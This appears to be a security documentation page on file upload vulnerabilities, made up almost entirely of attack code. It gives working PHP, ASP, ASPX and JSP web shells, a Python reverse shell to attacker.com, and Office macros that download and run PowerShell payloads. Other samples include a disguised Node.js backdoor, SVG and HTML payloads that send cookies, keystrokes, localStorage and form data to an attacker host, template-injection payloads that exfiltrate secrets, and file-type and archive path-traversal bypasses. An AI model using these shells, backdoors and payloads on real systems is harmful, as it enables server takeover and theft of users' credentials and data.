File upload vulnerabilities
Understanding File Upload Vulnerabilities
What are File Upload Vulnerabilities?
File upload vulnerabilities occur when web applications allow users to upload files without proper validation, filtering, or security controls. These vulnerabilities can lead to remote code execution, malware distribution, denial of service, and other security compromises.
Vulnerable Code Example
// PHP vulnerable file upload
$uploadDir = '/var/www/html/uploads/';
$uploadFile = $uploadDir . basename($_FILES['file']['name']);
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadFile)) {
echo "File uploaded successfully: " . $uploadFile;
} else {
echo "Upload failed";
}
Normal Upload:
File:
document.pdf
Result:
/var/www/html/uploads/document.pdf
Malicious Upload:
File:
shell.php
Content:
<?php system($_GET['cmd']); ?>
Result:
/var/www/html/uploads/shell.php
(executable web shell)
How File Upload Vulnerabilities Work
File upload vulnerabilities exploit insufficient validation and security controls in file upload functionality. Attackers can upload malicious files that are then executed by the server, accessed by other users, or used to compromise the application and underlying system.
Common Attack Vectors
Remote Code Execution:
Uploading executable scripts (PHP, ASP, JSP)
Server-side template injection via uploaded templates
Binary executable uploads
Client-Side Attacks:
Cross-site scripting via HTML/SVG files
Malware distribution through file downloads
Social engineering via malicious documents
Denial of Service:
Large file uploads consuming disk space
ZIP bombs and archive exploits
Resource exhaustion attacks
Impact and Consequences
Remote Code Execution - Complete server compromise
Data Breach - Access to sensitive information
Malware Distribution - Hosting malicious files
Defacement - Uploading malicious content
Denial of Service - Resource exhaustion
Privilege Escalation - Gaining higher system access
Common Upload Mechanisms
HTML Form Uploads
Basic File Upload Form:
<form action="/upload" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" value="Upload" />
</form>
Multiple File Uploads:
<form action="/upload" method="post" enctype="multipart/form-data">
<input type="file" name="files[]" multiple />
<input type="submit" value="Upload Multiple" />
</form>
AJAX File Uploads
JavaScript File Upload:
// AJAX file upload
const formData = new FormData();
formData.append('file', fileInput.files[0]);
fetch('/upload', {
method: 'POST',
body: formData
})
.then(response => response.json())
.then(data => console.log(data));
XMLHttpRequest Upload:
// XHR file upload
const xhr = new XMLHttpRequest();
const formData = new FormData();
formData.append('file', file);
xhr.open('POST', '/upload');
xhr.send(formData);
API-Based Uploads
REST API Upload:
# Direct file upload
curl -X POST -F "file=@malicious.php" http://target.com/api/upload
# JSON-based upload
curl -X POST -H "Content-Type: application/json" \
-d '{"filename":"shell.php","content":"<?php system($_GET[\"cmd\"]); ?>"}' \
http://target.com/api/upload
Basic File Upload Attacks
Executable File Upload
Web Shell Upload
PHP Web Shells:
// Simple PHP web shell
<?php system($_GET['cmd']); ?>
// More advanced PHP shell
<?php
if(isset($_GET['cmd'])) {
$cmd = $_GET['cmd'];
$output = shell_exec($cmd);
echo "<pre>$output</pre>";
}
?>
// Minimal PHP shell
<?=`$_GET[0]`?>
ASP Web Shells:
<!-- Simple ASP web shell -->
<%
Dim cmd
cmd = Request.QueryString("cmd")
If cmd <> "" Then
Response.Write("<pre>")
Response.Write(Server.CreateObject("WScript.Shell").Exec(cmd).StdOut.ReadAll())
Response.Write("</pre>")
End If
%>
<!-- ASP.NET web shell -->
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%
string cmd = Request.QueryString["cmd"];
if (cmd != null) {
ProcessStartInfo psi = new ProcessStartInfo("cmd.exe", "/c " + cmd);
psi.UseShellExecute = false;
psi.RedirectStandardOutput = true;
Process proc = Process.Start(psi);
Response.Write("<pre>" + proc.StandardOutput.ReadToEnd() + "</pre>");
}
%>
JSP Web Shells:
<!-- Simple JSP web shell -->
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
out.println(line + "<br>");
}
}
%>
Binary Executable Upload
Compiled Malware:
# Upload compiled executables
# Windows PE files
malware.exe
backdoor.dll
trojan.scr
# Linux ELF binaries
./malware
./backdoor.bin
./rootkit.so
Script Interpreters:
# Python scripts
malicious.py
#!/usr/bin/env python3
import os
os.system("wget http://attacker.com/payload.sh | bash")
# Bash scripts
malicious.sh
#!/bin/bash
curl -s http://attacker.com/backdoor.py | python3
File Extension Bypass
Extension Blacklist Bypass
Alternative Extensions:
# PHP alternatives
file.php → file.php3, file.php4, file.php5, file.phtml, file.phps
file.asp → file.asa, file.cer, file.aspx
file.jsp → file.jspx, file.jsf, file.jsv
# Case variations
shell.PHP
shell.PhP
shell.pHp
SHELL.PHP
Double Extensions:
# Double file extensions
shell.php.txt
malware.exe.jpg
backdoor.asp.gif
script.js.png
Null Byte Injection:
# Null byte bypass (older systems)
shell.php%00.txt
malware.exe%00.jpg
script.asp%00.gif
backdoor.jsp%00.png
MIME Type Bypass
Content-Type Manipulation:
# Upload with fake MIME type
curl -X POST -F "file=@shell.php" \
-H "Content-Type: multipart/form-data" \
--form-string "file;type=image/jpeg" \
http://target.com/upload
# Multiple MIME types
Content-Type: image/jpeg
Content-Type: text/plain
Content-Type: application/octet-stream
Magic Byte Prepending:
# Add image headers to PHP file
# JPEG magic bytes: FF D8 FF
echo -e "\xFF\xD8\xFF<?php system(\$_GET['cmd']); ?>" > image.jpg
# PNG magic bytes: 89 50 4E 47
echo -e "\x89PNG\r\n\x1a\n<?php system(\$_GET['cmd']); ?>" > image.png
# GIF magic bytes: GIF8
echo "GIF89a<?php system(\$_GET['cmd']); ?>" > image.gif
Archive-Based Attacks
ZIP File Exploits
Zip Slip Attack:
# Create malicious ZIP with path traversal
# Entry: ../../../var/www/html/shell.php
# When extracted, places file outside intended directory
# Python script to create malicious ZIP
import zipfile
with zipfile.ZipFile('malicious.zip', 'w') as zf:
zf.writestr('../../../var/www/html/shell.php',
'<?php system($_GET["cmd"]); ?>')
ZIP Bomb:
# Create ZIP bomb for DoS
# Small ZIP file that expands to enormous size
# Can be created with nested ZIP files or large files with repetitive content
# Example: 42.zip (famous ZIP bomb)
# 42 KB file that expands to 4.5 petabytes
Archive with Executables:
# ZIP containing multiple malicious files
malicious.zip:
├── shell.php
├── backdoor.asp
├── config.php (with database credentials)
└── .htaccess (to enable PHP execution)
TAR/GZIP Exploits
TAR Path Traversal:
# Create TAR with path traversal
tar -cf malicious.tar --transform='s|shell.php|../../../var/www/html/shell.php|' shell.php
# GZIP compressed TAR
tar -czf malicious.tar.gz --transform='s|payload|../../../etc/cron.d/backdoor|' payload
Symbolic Link Attack:
# Create symbolic link in archive
ln -s /etc/passwd symlink.txt
tar -cf symlink.tar symlink.txt
# When extracted, symlink points to sensitive file
# Can be used to read system files
Advanced File Upload Attacks
Image File Exploitation
Polyglot Files
PHP-JPEG Polyglot:
// Create file that's both valid JPEG and PHP
// Add JPEG header followed by PHP code
<?php
// JPEG magic bytes: FF D8 FF E0
$jpeg_header = "\xFF\xD8\xFF\xE0\x00\x10JFIF\x00\x01";
$php_code = '<?php system($_GET["cmd"]); ?>';
file_put_contents('polyglot.jpg', $jpeg_header . $php_code);
?>
SVG with Embedded JavaScript:
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert('XSS via SVG upload');
// Send cookies to attacker
new Image().src = 'http://attacker.com/steal.php?cookie=' + document.cookie;
</script>
</svg>
GIF with PHP Code:
// GIF87a format with embedded PHP
$gif_header = "GIF87a";
$php_payload = '<?php system($_GET["c"]); ?>';
$gif_trailer = "\x00\x00\x3B";
file_put_contents('shell.gif', $gif_header . $php_payload . $gif_trailer);
EXIF Data Exploitation
EXIF PHP Injection:
# Inject PHP code into EXIF data
exiftool -DocumentName='<?php system($_GET["cmd"]); ?>' image.jpg
exiftool -ImageDescription='<?php system($_GET["cmd"]); ?>' image.jpg
# Upload image and include via path traversal
# If application processes EXIF data, code may execute
EXIF XSS Payload:
# Inject XSS into EXIF fields
exiftool -DocumentName='<script>alert(document.cookie)</script>' image.jpg
exiftool -Artist='"><script>alert("XSS")</script>' image.jpg
Document Format Attacks
Office Document Macros
Excel Macro Upload:
' Malicious Excel macro
Sub Auto_Open()
Shell "powershell.exe -WindowStyle Hidden -Command ""IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')""", vbHide
End Sub
Sub Workbook_Open()
Auto_Open
End Sub
Word Macro Upload:
' Malicious Word macro
Sub AutoOpen()
Dim objShell As Object
Set objShell = CreateObject("WScript.Shell")
objShell.Run "cmd.exe /c powershell.exe -ep bypass -c ""IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/shell.ps1')""", 0, False
End Sub
Sub Document_Open()
AutoOpen
End Sub
PDF Exploits
PDF with JavaScript:
// Malicious PDF with embedded JavaScript
%PDF-1.4
1 0 obj
<<
/Type /Catalog
/Pages 2 0 R
/OpenAction << /S /JavaScript /JS (
app.alert('PDF XSS Alert');
// Attempt to execute system commands
try {
var f = this.getField("myField");
f.value = "malicious content";
} catch(e) {}
) >>
>>
endobj
PDF Form Exploitation:
// PDF form with malicious JavaScript
var adobeReaderExploit = {
exploitCode: function() {
try {
// Attempt buffer overflow or memory corruption
var shellcode = unescape("%u4343%u4343%u0feb%u335b%u7465%u6573");
var buffer = new Array(1000).join("A");
buffer += shellcode;
} catch(e) {
// Fallback to information gathering
app.alert("System Info: " + system.ostype);
}
}
};
Server-Side Template Injection
Template File Upload
Jinja2 Template Injection:
<!-- Malicious Jinja2 template -->
<!DOCTYPE html>
<html>
<head>
<title>Template Injection</title>
</head>
<body>
<h1>{{ config.__class__.__init__.__globals__['os'].popen('whoami').read() }}</h1>
<p>{{ ''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].system('curl http://attacker.com/exfil?data=' + config.SECRET_KEY) }}</p>
</body>
</html>
Freemarker Template Injection:
<!-- Malicious Freemarker template -->
<html>
<head>
<title>Template Injection</title>
</head>
<body>
<#assign ex="freemarker.template.utility.Execute"?new()>
<#assign result=ex("whoami")>
<h1>Command Output: ${result}</h1>
<#assign exfil=ex("curl -X POST -d 'data=' + .data_model?keys?join(',') + ' http://attacker.com/exfil')>
</body>
</html>
Twig Template Injection:
<!-- Malicious Twig template -->
<!DOCTYPE html>
<html>
<head>
<title>Twig Injection</title>
</head>
<body>
<h1>{{ _self.env.registerUndefinedFilterCallback("exec") }}{{ _self.env.getFilter("whoami") }}</h1>
{% set cmd = 'curl -X POST -d "' ~ app.request.server.all|join(',') ~ '" http://attacker.com/exfil' %}
{{ _self.env.registerUndefinedFilterCallback("system") }}{{ _self.env.getFilter(cmd) }}
</body>
</html>
Language and Framework Specific Attacks
PHP Upload Attacks
PHP Configuration Bypass
Upload via .htaccess:
# Upload malicious .htaccess file
AddType application/x-httpd-php .txt .jpg .png .gif
php_flag engine on
# Now any uploaded image can contain PHP code
# Access uploaded image.jpg.txt to execute PHP
PHP.ini Upload:
# Malicious php.ini for local directory
auto_prepend_file = malicious.php
auto_append_file = backdoor.php
allow_url_include = On
enable_dl = On
Web.config for PHP on IIS:
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers>
<add name="PHP_via_FastCGI" path="*.jpg" verb="*"
modules="FastCgiModule" scriptProcessor="C:\PHP\php-cgi.exe"
resourceType="Either" />
</handlers>
</system.webServer>
</configuration>
PHP Stream Wrappers
Data URI Upload:
// Upload via data:// wrapper
$payload = 'data://text/plain;base64,' . base64_encode('<?php system($_GET["cmd"]); ?>');
file_put_contents('shell.php', file_get_contents($payload));
PHP Filter Upload:
// Using php://filter to encode payload
$encoded = 'php://filter/convert.base64-decode/resource=data://text/plain;base64,' .
base64_encode('<?php system($_GET["cmd"]); ?>');
Java/JSP Upload Attacks
JSP Shell Upload
Advanced JSP Shell:
<%@ page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*" %>
<%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null && !cmd.isEmpty()) {
try {
ProcessBuilder pb = new ProcessBuilder();
if (System.getProperty("os.name").toLowerCase().contains("windows")) {
pb.command("cmd.exe", "/c", cmd);
} else {
pb.command("/bin/bash", "-c", cmd);
}
pb.redirectErrorStream(true);
Process process = pb.start();
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
StringBuilder output = new StringBuilder();
String line;
while ((line = reader.readLine()) != null) {
output.append(line).append("\n");
}
out.println("<pre>" + output.toString() + "</pre>");
process.waitFor();
} catch (Exception e) {
out.println("Error: " + e.getMessage());
}
}
%>
<form method="post">
<input type="text" name="cmd" placeholder="Enter command" style="width:500px;">
<input type="submit" value="Execute">
</form>
WAR File Upload
Malicious WAR Archive:
# Create malicious WAR file
mkdir -p WEB-INF
echo '<?xml version="1.0"?><web-app></web-app>' > WEB-INF/web.xml
# Create JSP shell
cat > shell.jsp << 'EOF'
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line; while ((line = reader.readLine()) != null) { out.println(line + "<br>"); }
}
%>
EOF
# Package into WAR
jar -cvf shell.war *.jsp WEB-INF/
ASP.NET Upload Attacks
ASPX Shell Upload
Advanced ASPX Shell:
<%@ Page Language="C#" AutoEventWireup="true" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Net" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e)
{
string cmd = Request.QueryString["cmd"];
if (!string.IsNullOrEmpty(cmd))
{
try
{
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = "/c " + cmd;
psi.UseShellExecute = false;
psi.RedirectStandardOutput = true;
psi.RedirectStandardError = true;
psi.CreateNoWindow = true;
Process process = Process.Start(psi);
string output = process.StandardOutput.ReadToEnd();
string error = process.StandardError.ReadToEnd();
Response.Write("<pre>" + Server.HtmlEncode(output) + "</pre>");
if (!string.IsNullOrEmpty(error))
Response.Write("<pre style='color:red;'>" + Server.HtmlEncode(error) + "</pre>");
process.WaitForExit();
}
catch (Exception ex)
{
Response.Write("Error: " + ex.Message);
}
}
}
</script>
<html>
<body>
<form runat="server">
<asp:TextBox ID="cmdInput" runat="server" Width="500px"></asp:TextBox>
<asp:Button ID="executeBtn" runat="server" Text="Execute" OnClick="ExecuteCommand" />
</form>
</body>
</html>
<script runat="server">
protected void ExecuteCommand(object sender, EventArgs e)
{
Response.Redirect("?" + "cmd=" + Server.UrlEncode(cmdInput.Text));
}
</script>
Web.config Upload
Malicious Web.config:
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<httpHandlers>
<add verb="*" path="*.jpg"
type="System.Web.UI.PageHandlerFactory" />
</httpHandlers>
</system.web>
<system.webServer>
<handlers>
<add name="ASPX" path="*.jpg" verb="*"
type="System.Web.UI.PageHandlerFactory"
preCondition="integratedMode" />
</handlers>
</system.webServer>
</configuration>
Python Upload Attacks
Python Script Upload
Python Reverse Shell:
#!/usr/bin/env python3
import socket
import subprocess
import os
import threading
def reverse_shell():
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('attacker.com', 4444))
while True:
command = s.recv(1024).decode('utf-8')
if command.lower() == 'exit':
break
try:
output = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT)
s.send(output)
except Exception as e:
s.send(str(e).encode('utf-8'))
s.close()
except Exception as e:
pass
# Start reverse shell in background
threading.Thread(target=reverse_shell, daemon=True).start()
# Innocent looking functionality
print("Image processing script loaded successfully")
Flask Template Upload
Malicious Flask Template:
<!DOCTYPE html>
<html>
<head>
<title>{{ title }}</title>
</head>
<body>
<!-- Attempt template injection -->
{{ config.__class__.__init__.__globals__['os'].popen('whoami').read() }}
<!-- Data exfiltration -->
{% for key, value in config.items() %}
<script>
fetch('http://attacker.com/exfil', {
method: 'POST',
body: JSON.stringify({key: '{{ key }}', value: '{{ value }}'}),
headers: {'Content-Type': 'application/json'}
});
</script>
{% endfor %}
<h1>Template loaded successfully</h1>
</body>
</html>
Node.js Upload Attacks
JavaScript Payload Upload
Node.js Backdoor:
// Innocent looking module
const fs = require('fs');
const http = require('http');
const { exec } = require('child_process');
// Backdoor functionality
function createBackdoor() {
const server = http.createServer((req, res) => {
const url = new URL(req.url, `http://${req.headers.host}`);
const cmd = url.searchParams.get('cmd');
if (cmd) {
exec(cmd, (error, stdout, stderr) => {
res.writeHead(200, { 'Content-Type': 'text/plain' });
res.end(stdout + stderr);
});
} else {
res.writeHead(200, { 'Content-Type': 'text/plain' });
res.end('Server running');
}
});
// Listen on random high port
server.listen(Math.floor(Math.random() * 1000) + 8000);
}
// Start backdoor
setTimeout(createBackdoor, 5000);
// Export innocent functionality
module.exports = {
processFile: function(filename) {
return fs.readFileSync(filename, 'utf8');
}
};
Client-Side Attack Vectors
Cross-Site Scripting via File Upload
HTML File XSS
Malicious HTML Upload:
<!DOCTYPE html>
<html>
<head>
<title>Innocent Document</title>
</head>
<body>
<h1>Document Content</h1>
<p>This appears to be a normal document.</p>
<!-- Malicious scripts -->
<script>
// Steal cookies
document.location = 'http://attacker.com/steal.php?cookie=' + document.cookie;
// Keylogger
document.addEventListener('keydown', function(e) {
fetch('http://attacker.com/keylog.php', {
method: 'POST',
body: 'key=' + e.key + '&url=' + window.location.href
});
});
// Form hijacking
document.addEventListener('submit', function(e) {
const formData = new FormData(e.target);
fetch('http://attacker.com/formdata.php', {
method: 'POST',
body: formData
});
});
</script>
<!-- Hidden iframe for further attacks -->
<iframe src="http://attacker.com/exploit.html" style="display:none;"></iframe>
</body>
</html>
SVG XSS Upload
SVG with Advanced XSS:
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
onload="init()">
<!-- Visible content -->
<rect width="100" height="100" fill="blue"/>
<text x="10" y="40" fill="white">Innocent SVG</text>
<!-- Malicious scripts -->
<script type="text/javascript">
<![CDATA[
function init() {
// Cookie theft
var img = new Image();
img.src = 'http://attacker.com/steal.php?cookie=' + document.cookie;
// Local storage theft
var storage = JSON.stringify(localStorage);
fetch('http://attacker.com/storage.php', {
method: 'POST',
body: 'data=' + encodeURIComponent(storage)
});
// Credential harvesting
var forms = document.querySelectorAll('form');
forms.forEach(function(form) {
form.addEventListener('submit', function(e) {
var formData = new FormData(form);
fetch('http://attacker.com/creds.php', {
method: 'POST',
body: formData
});
});
});
// Browser exploitation
try {
// Attempt to access parent window (if in iframe)
if (window.parent && window.parent !== window) {
window.parent.location = 'http://attacker.com/redirect.php';
}
} catch(e) {}
}
]]>
</script>
<!-- External script inclusion -->
<script href="http://attacker.com/advanced.js"/>
</svg>
Content Sniffing Attacks
MIME Type Confusion
Fake Image with Script:
<!-- File: image.jpg (actually HTML) -->
<!DOCTYPE html>
<html>
<!--
GIF89a
This file starts with GIF header but contains HTML
Browsers may execute as HTML due to content sniffing
-->
<script>
alert('XSS via content sniffing');
document.location = 'http://attacker.com/steal.php?cookie=' + document.cookie;
</script>
</html>
Polyglot GIFAR:
# GIFAR: GIF + JAR file
# Appears as GIF image but is also valid Java archive
# Can contain malicious Java applets
# Create GIFAR file
cat image.gif malicious.jar > gifar.gif
# When accessed as JAR: java -jar gifar.gif
# When accessed as GIF: displays image
Last updated
Was this helpful?